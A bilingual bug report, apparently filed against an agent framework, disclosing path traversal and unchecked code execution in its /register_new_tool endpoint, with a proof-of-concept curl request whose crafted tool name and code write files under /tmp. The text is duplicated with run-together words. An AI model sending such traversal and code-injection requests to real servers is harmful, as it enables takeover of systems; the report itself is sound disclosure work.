Issue Description / 问题描述
The exposed API /register_new_tool allows users to upload an excutable python code and assigned tool name. This process exposes two possible problems. First, it concatenate the tool_name directly to the base_dir, without proper filtering, allowing arbitary path traversal. Second, the code is executed without proper checks, enable highly dangerous actions.
Steps to Reproduce / 复现步骤
Please provide the specific steps to reproduce the error. / 请提供复现错误的具体步骤。
‘’‘
curl -sS -X POST "http://127.0.0.1:8080/register_new_tool"
-H "Content-Type: application/json"
-d '{
"tool_name": "globals()["../../../../tmp/xagent_tool_path_traversal"]",
"code": "import os\nos.makedirs("extensions/tools/globals()[\"..", exist_ok=True)\nfrom core.register import toolwrapper\n\n@toolwrapper()\ndef poc_tool() -> str:\n """PoC tool."""\n return "ok"\n\nglobals()["../../../../tmp/xagent_tool_path_traversal"] = poc_tool\nopen("/tmp/xagent_register_tool_rce", "w", encoding="utf-8").write("XAGENT_REGISTER_TOOL_RCE_OK")\n"
}'
’‘’
The request triggers code execution during tool registration. A marker file /tmp/xagent_register_tool_rce is created with content XAGENT_REGISTER_TOOL_RCE_OK.
Additionally, because tool_name is concatenated into extensions/tools/{tool_name}.py without path normalization, a crafted tool_name containing traversal components can cause the server to write the
tool source outside the intended extensions/tools directory, provided the target parent directory exists and is writable.
Expected Behavior / 预期行为
Describe the behavior you expected to see. / 请描述您期望的正确行为。
Filtering the tool_name and use module import checks to prohibit malicious attacks
Environment / 环境信息
- Operating System / 操作系统：MacOS 26
- Python Version / Python 版本：Python 3.11
Issue Description / 问题描述
The exposed API /register_new_tool allows users to upload an excutable python code and assigned tool name. This process exposes two possible problems. First, it concatenate the tool_name directly to the base_dir, without proper filtering, allowing arbitary path traversal. Second, the code is executed without proper checks, enable highly dangerous actions.
Steps to Reproduce / 复现步骤
Please provide the specific steps to reproduce the error. / 请提供复现错误的具体步骤。
‘’‘
curl -sS -X POST "http://127.0.0.1:8080/register_new_tool"
-H "Content-Type: application/json"
-d '{
"tool_name": "globals()["../../../../tmp/xagent_tool_path_traversal"]",
"code": "import os\nos.makedirs("extensions/tools/globals()[\"..", exist_ok=True)\nfrom core.register import toolwrapper\n\n@toolwrapper()\ndef poc_tool() -> str:\n """PoC tool."""\n return "ok"\n\nglobals()["../../../../tmp/xagent_tool_path_traversal"] = poc_tool\nopen("/tmp/xagent_register_tool_rce", "w", encoding="utf-8").write("XAGENT_REGISTER_TOOL_RCE_OK")\n"
}'
’‘’
The request triggers code execution during tool registration. A marker file
/tmp/xagent_register_tool_rceis created with contentXAGENT_REGISTER_TOOL_RCE_OK.Additionally, because
tool_nameis concatenated intoextensions/tools/{tool_name}.pywithout path normalization, a craftedtool_namecontaining traversal components can cause the server to write thetool source outside the intended
extensions/toolsdirectory, provided the target parent directory exists and is writable.Expected Behavior / 预期行为
Describe the behavior you expected to see. / 请描述您期望的正确行为。
Filtering the tool_name and use module import checks to prohibit malicious attacks
Environment / 环境信息